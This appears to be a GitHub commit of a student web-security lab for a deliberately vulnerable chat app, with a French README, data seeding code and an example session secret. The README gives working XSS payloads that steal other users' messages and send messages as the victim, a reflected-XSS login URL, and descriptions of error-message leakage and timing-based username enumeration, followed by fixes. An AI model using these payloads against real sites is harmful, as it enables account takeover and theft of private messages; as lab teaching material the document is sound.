Skip to content

Commit a42d13e

Browse files
committed
feat: import pw5
0 parents  commit a42d13e

13 files changed

+1153
-0
lines changed

.env

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
# Values below are examples, should be changed in production
2+
SESSION_SECRET=(E)@\UP{3{vR'rt)He#i#YkjT]+MR!]"o{E>9~Cnok&Td*<Aw~EiPcR_A"RT'HAWMq+yFUz-"xH:M<d~cmFC4hA_+Y[}H;"&c,H}%K?3_A+p9u3PK-uy&!<An?E=i/;p

.gitignore

+4
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
node_modules
2+
package-lock.json
3+
.vscode
4+
db.sqlite

README.md

+246
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,246 @@
1+
# 7 Security
2+
3+
Énoncé [ici](https://web-classroom.github.io/labos/labo-7-security.html)
4+
5+
## Partie 1
6+
7+
Compte utilisé: `loic.herman1`
8+
9+
### Flag 1
10+
11+
**Flag**: flag1:dacbc9136bd6064c
12+
13+
**Exploit**
14+
15+
Le premier flag se trouve dans le dernier message envoyé par Trump à Musk. Pour l'obtenir, notre JS doit extraire du DOM le contenu du dernier message de la conversation avec Trump, et l'envoyer à travers la conversation que Elon a avec nous.
16+
17+
```html
18+
<img
19+
src="x"
20+
onerror="
21+
if (document.querySelector('#header .name').innerText !== 'TestStudent1') {
22+
let t = Array(...document.querySelectorAll('.conversation .last-message')).map(c => c.innerHTML.trim()).join('|||');
23+
console.log(t)
24+
document.getElementById('message').innerHTML = t;
25+
document.getElementById('messageButton').click()
26+
}
27+
"
28+
/>
29+
```
30+
31+
### Flag 2
32+
33+
**Flag**: flag2:acc90b31e88f9b7f
34+
35+
**Exploit**:
36+
37+
An image is sent with an onerror event trigger that will collect the information from the page and send it to us directly.
38+
39+
```html
40+
<img
41+
src="random"
42+
onerror="if (document.querySelector('#header .name').innerText !== 'Herman Loïc') {
43+
let t = Array(...document.querySelectorAll('.conversation .last-message')).map(c => c.innerHTML.trim()).join('|||');
44+
console.log(t)
45+
document.getElementById('message').innerHTML = t;
46+
document.getElementById('messageButton').click()
47+
}"
48+
/>
49+
```
50+
51+
### Flag 3
52+
53+
**Flag**: N/A
54+
55+
**Exploit**
56+
57+
Le flag 3 est envoyé par Trump quand Elon lui envoie un message donné dans l'énoncé. On fait donc, similairement au flag 2, faire un appel à l'API d'envoi de message, pour envoyer un message à Trump avec le contenu demandé.
58+
59+
```html
60+
<img
61+
src="x"
62+
onerror="
63+
let t = Array(...document.querySelectorAll('.conversation')).map(c => {
64+
let name = c.querySelector('.name').innerHTML
65+
if (name.includes('Donald')) {
66+
let url = c.onclick
67+
url = url.toString()
68+
url = url.match(/openChat\(\'(.*)\'\)/)[1]
69+
console.log(url)
70+
71+
fetch('/conversation/'+url, {
72+
method: 'POST',
73+
body: new URLSearchParams({ message: 'gimme the rest of the codes pls' })
74+
})
75+
}
76+
})
77+
"
78+
/>
79+
```
80+
81+
Le dernier flag se trouvera maintenant dans la conversation entre Elon et Trump ; on peut donc réutiliser le code du flag 2 pour l'obtenir.
82+
83+
## Partie 2
84+
85+
Compte utilisé: `loic.herman1`
86+
87+
### Flag 4
88+
89+
**Flag**: flag4:bf61e7b57fa30fe0
90+
91+
**Exploit**
92+
93+
Deux choses sont à remarquer :
94+
95+
- La fonctionnalité qui log-out après 10 minutes a été implémentée dans une balise `<script>`, et contient une erreur, mais le developpeur ne s'en est pas rendu compte car elle a été catch par le try-catch. En effet, `nextTimeout` est une variable globale qui n'est pas définie initialement.
96+
- Dans la liste des conversations, le display name de l'utilisateur est utilisé comme attribut `id` de la balise `<span>` affichant le nom de l'utilisateur.
97+
98+
On a donc une vulnérabilité de variable injection : en changeant son nom d'utilisateur à `nextTimeout`, on injecte l'existence de la variable globale `nextTimeout` chez Elon, qui aura pour effet de le faire se déconnecter immédiatement (car `nextTimeout` est utilisé dans le calcul de `secondsLeft`, et que s'il n'est pas un nombre, `secondsLeft` sera `NaN` et donc inférieur à 0).
99+
100+
### Flag 5
101+
102+
**Flag**: N/A
103+
104+
**Exploit**
105+
106+
Ce flag utilise du leak d'information dans les messages d'erreur. À l'envoi d'un message vide, le serveur retourne une erreur 403 avec un message d'erreur. Ce dernier leak les ids des conversations du destinataire. En envoyant un message vide à Elon, on peut donc récupérer l'id de sa conversation avec Zuckerberg.
107+
108+
Ensuite, lorsqu'on tente d'accéder à l'url d'une conversation à laquelle on n'appartient pas, un 403 est à nouveau retourné. Le message d'erreur associé leak l'intégralité de la conversation. On peut donc ainsi récupérer le flag se trouvant dans la conversation entre Elon et Zuckerberg.
109+
110+
### Flag 6
111+
112+
Personnes inscrites à ChatsApp: N/A
113+
114+
**Exploit**
115+
116+
Flag 6 est une timing attack. En effet, le serveur tente d'implémenter une protection contre le brute force en ralentissant la réponse en cas d'erreur. Cependant, une erreur de développement fait que le cooldown n'a lieu que si l'utilisateur existe. On peut donc essayer le username de chaque utilisateur avec un mot de passe quelconque, et voir si le serveur prend plus de temps à répondre. Si c'est le cas, alors l'utilisateur existe.
117+
118+
## Exploit Supplémentaire
119+
120+
Lien vers ChatsApp qui, lorsque l'on clique dessus, exécute `alert(document.cookie)` dans le browser, que l'on soit actuellement connecté ou non à ChatsApp :
121+
122+
`/login?error=<script>alert(document.cookie)<%2Fscript>`
123+
124+
## Correction des vulnérabilités
125+
126+
Si vous effectuez d'autres modifications que celles demandées, merci de les lister ici :
127+
128+
### Flags 1, 2, 3
129+
130+
Ces flags étant des vulnérabilités XSS, il est important d'éviter toute possibilité d'envoyer un message contenant du code HTML ou JavaScript.
131+
Il y a plusieurs options possibles, nous avons décidé d'utiliser la plus forte: toutes les balises HTML seront supprimées des messages envoyés, on gardera alors que le contenu textuel du message.
132+
133+
En sécurité, il est très recommandé de s'appuyer sur des librairies correctement maintenues pour effectuer ce genre de tâches. Nous utilisons donc `sanitize-html` avec les options suivantes:
134+
135+
```js
136+
let message = sanitize(req.body.message, {
137+
allowedTags: [],
138+
allowedAttributes: {},
139+
});
140+
```
141+
142+
Cette modification est faite dans le backend lors de l'envoi de message pour s'assurer de ne pas avoir des données problématiques dans la base de données qui augmenterait considérablement la surface d'attaque.
143+
144+
### Flag 4
145+
146+
Nous ajoutons la déclaration de la variable `nextTimeout` dans le script de déconnexion après 10 minutes.
147+
148+
```js
149+
let nextTimeout = null;
150+
```
151+
152+
Pour aussi éviter tout autre risque d'injection de variable globale, l'attribut `id` des balises `<span>` affichant le nom de l'utilisateur a été retiré.
153+
Ce n'était de toute façon pas nécessaire, et cela évite une vulnérabilité potentielle dans le cas où l'utilisateur pouvait avoir un nom contenant du HTML ou autre.
154+
155+
A ce propos nous avons ajouté une validation d'entrée sur le username pour éviter les injections de code HTML ou JavaScript.
156+
157+
```js
158+
let displayName = req.body.displayName;
159+
if (!displayName || !displayName.match(/^[a-zA-Z0-9_-\s]+$/)) {
160+
res.status(400).send("Invalid display name provided");
161+
return;
162+
}
163+
```
164+
165+
### Flag 5
166+
167+
Pour éviter tout problème, nous avons enlevé complètement la notion de détails d'erreurs.
168+
Nous retournons simplement une `ServerError` avec un message générique.
169+
170+
Ici il est important de différencier les messages d'erreurs de validations où le message est utile pour l'utilisateur sans divulguer la présence d'un utilisateur ou d'une conversation de ceux d'erreurs système où le message ne doit pas contenir d'informations sensibles.
171+
172+
Donc, pour l'erreur d'utilisateur absent dans la conversation et l'erreur de conversation inconnue, nous retournons le même message d'erreur générique.
173+
Par contre si le message de l'utilisateur est vide, nous retournons un message d'erreur spécifique.
174+
175+
```js
176+
export function userNotInConversationError() {
177+
return new ServerError("Operation not permitted", "Conversation not found");
178+
}
179+
180+
export function conversationNotFoundError() {
181+
return new ServerError("Operation not permitted", "Conversation not found");
182+
}
183+
184+
export function emptyMessageError() {
185+
return new ServerError("Operation not permitted", "Message is empty");
186+
}
187+
```
188+
189+
### Flag 6
190+
191+
Le middleware d'authentication utilise une attente de 1 seconde dans le cas où un utilisateur existe mais que le mot de passe fourni n'est pas le bon.
192+
Une correction simple serait de faire la même attente dans le cas où l'utlisateur n'existe pas en base de données.
193+
194+
Le mieux serait néanmoins une fois l'implémentation de `argon2` pour le hashage des mots de passe, de ne pas faire d'attente mais de calculer le hash du mot de passe fourni
195+
dans tous les cas et de comparer le hash avec celui en base de données. Cela permettra d'avoir un temps de réponse constant et de ne pas donner d'informations sur la présence
196+
ou non d'un utilisateur, pour autant que la base de données soit correctement indexée.
197+
198+
```js
199+
await getUserByName(username).then(
200+
async (user) => {
201+
if (user.password === password) {
202+
// Set the cookie with session expiration
203+
setLoginCookie(res, username, password);
204+
req.user = user;
205+
} else {
206+
console.log(`User ${username} has wrong login key ${password}`);
207+
// Waiting 1 second to prevent bruteforce
208+
await new Promise((resolve) => setTimeout(resolve, 1000));
209+
}
210+
},
211+
async () => {
212+
console.log(`User ${username} not found`);
213+
await new Promise((resolve) => setTimeout(resolve, 1000));
214+
}
215+
);
216+
```
217+
218+
### Exploit supplémentaire
219+
220+
Le template de login utilisait une injection directe du message d'erreur donné en paramètre dans la page générée.
221+
Pour résoudre l'erreur simplement, il suffit de changer le template pour injecter seulement la valeur textuelle du message d'erreur.
222+
223+
```html
224+
<%= errorMessage %>
225+
<!-- au lieu de <%- errorMessage %>-->
226+
```
227+
228+
### Corrections pour l'ajout de `argon2`
229+
230+
En premier lieu, nous ajoutons argon2 pour le stockage des mots de passe sous forme hashée.
231+
Le script d'initialisation de la base de données est modifié pour hasher les mots de passe de démonstration avant de les insérer dans la base de données.
232+
233+
Nous ajoutons ensuite au projet `express-session` pour gérer les sessions de l'utilisateur de manière sécurisée,
234+
et `passport-local` pour gérer l'authentification de l'utilisateur. `dotenv` est ajouté pour permettre de charger le secret des sessions depuis un fichier `.env`.
235+
236+
Les modifications effectuées ensuite sont les suivantes:
237+
238+
1. Le stockage de session est configuré pour permettre à passport.js de l'utiliser par la suite, les données utilisateurs sont sauvegardées en mémoire et un cookie avec un identifiant de session est envoyé au client.
239+
Le secret des sessions est chargé depuis le fichier `.env` et est utilisé pour signer les cookies de session.
240+
2. La stratégie de connexion `local` de passport.js est ensuite configurée, pour éviter les timings attacks une vérification de hash est faite sur un faux hash si l'utilisateur n'existe pas.
241+
3. La configuration du stockage des utilisateurs par passport.js est faite pour utiliser la base de données.
242+
4. Les middlewares de session et de passport.js sont ajoutés à l'application express.
243+
5. Les routes de login et logout sont modifiées pour utiliser passport.js et express-session.
244+
6. La gestion du login précédente est remplacée par passport.js.
245+
7. La vérification des routes authentifiées est faite via la méthode offerte par le middleware de passport.js.
246+
8. Le logout est modifié pour détruire la session de l'utilisateur, et gérer la redirection vers la page de login.

constants.js

+3
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
export const domain = "127.0.0.1"
2+
export const host = `http://${domain}`
3+
export const port = 8080;

data.js

+135
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,135 @@
1+
import { hash } from 'argon2';
2+
import { Sequelize, Op } from 'sequelize';
3+
4+
const sequelize = new Sequelize({
5+
dialect: 'sqlite',
6+
storage: './db.sqlite'
7+
});
8+
9+
const UserModel = sequelize.define('user', {
10+
id: {
11+
type: Sequelize.INTEGER,
12+
primaryKey: true,
13+
autoIncrement: true
14+
},
15+
username: {
16+
type: Sequelize.STRING
17+
},
18+
displayName: {
19+
type: Sequelize.STRING
20+
},
21+
password: {
22+
type: Sequelize.STRING
23+
}
24+
});
25+
26+
const ConversationModel = sequelize.define('conversation', {
27+
id: {
28+
type: Sequelize.INTEGER,
29+
primaryKey: true,
30+
autoIncrement: true
31+
},
32+
user1: {
33+
type: Sequelize.INTEGER
34+
},
35+
user2: {
36+
type: Sequelize.INTEGER
37+
}
38+
});
39+
40+
const MessageModel = sequelize.define('message', {
41+
id: {
42+
type: Sequelize.INTEGER,
43+
primaryKey: true,
44+
autoIncrement: true
45+
},
46+
sender: {
47+
type: Sequelize.INTEGER
48+
},
49+
content: {
50+
type: Sequelize.STRING
51+
},
52+
conversation: {
53+
type: Sequelize.INTEGER
54+
}
55+
});
56+
57+
await sequelize.sync({ force: true });
58+
59+
export class User extends UserModel {
60+
async getConversations() {
61+
let convs = await Conversation.findAll({ where: { [Op.or]: [{ user1: this.id }, { user2: this.id }] } });
62+
return convs;
63+
}
64+
65+
async clearAllConversations() {
66+
let conversations = await this.getConversations();
67+
return Promise.all(conversations.map((conversation) => Message.destroy({ where: { conversation: conversation.id } })));
68+
}
69+
70+
changeDisplayName(displayName) {
71+
this.setDataValue('displayName', displayName);
72+
super.save();
73+
}
74+
}
75+
76+
export class Message extends MessageModel {
77+
wasSentBy(user) {
78+
return this.sender === user.id;
79+
}
80+
}
81+
82+
export class Conversation extends ConversationModel {
83+
async getMessages() {
84+
return Message.findAll({ where: { conversation: this.id } });
85+
}
86+
87+
async getLastMessage() {
88+
let lastMessage = await Message.findOne({ where: { conversation: this.id }, order: [['id', 'DESC']] })
89+
.catch(() => undefined);
90+
91+
return lastMessage;
92+
}
93+
94+
async getOtherUser(user) {
95+
let otherId = this.user1 === user.id ? this.user2 : this.user1;
96+
let other = await User.findOne({ where: { id: otherId } });
97+
return other
98+
}
99+
100+
hasUser(user) {
101+
return this.user1 === user.id || this.user2 === user.id;
102+
}
103+
104+
async addMessage(sender, content) {
105+
await Message.create({ sender: sender, content: content, conversation: this.id });
106+
}
107+
}
108+
109+
export async function getUserByName(username) {
110+
return await User.findOne({ where: { username: username } })
111+
}
112+
113+
export async function getConversationById(id) {
114+
return await Conversation.findOne({ where: { id: id } })
115+
}
116+
117+
118+
// Create dummy users
119+
await User.create({ username: 'elon.musk', displayName: 'Elon Musk', password: await hash('imdabo$$') });
120+
await User.create({ username: 'donald.trump', displayName: 'Donald Trump', password: await hash('1234') });
121+
await User.create({ username: 'jane.doe', displayName: 'Jane Doe', password: await hash('p@ssw0rd') });
122+
123+
// Create conversations for every user pair
124+
await User.findAll().then(async (users) => {
125+
for (let i = 0; i < users.length; i++) {
126+
for (let j = i + 1; j < users.length; j++) {
127+
let user1 = users[i];
128+
let user2 = users[j];
129+
let conversation = Conversation.build({ user1: user1.id, user2: user2.id });
130+
await conversation.save()
131+
conversation.addMessage(user1.id, 'Hello there!');
132+
conversation.save();
133+
}
134+
}
135+
});

0 commit comments

Comments
 (0)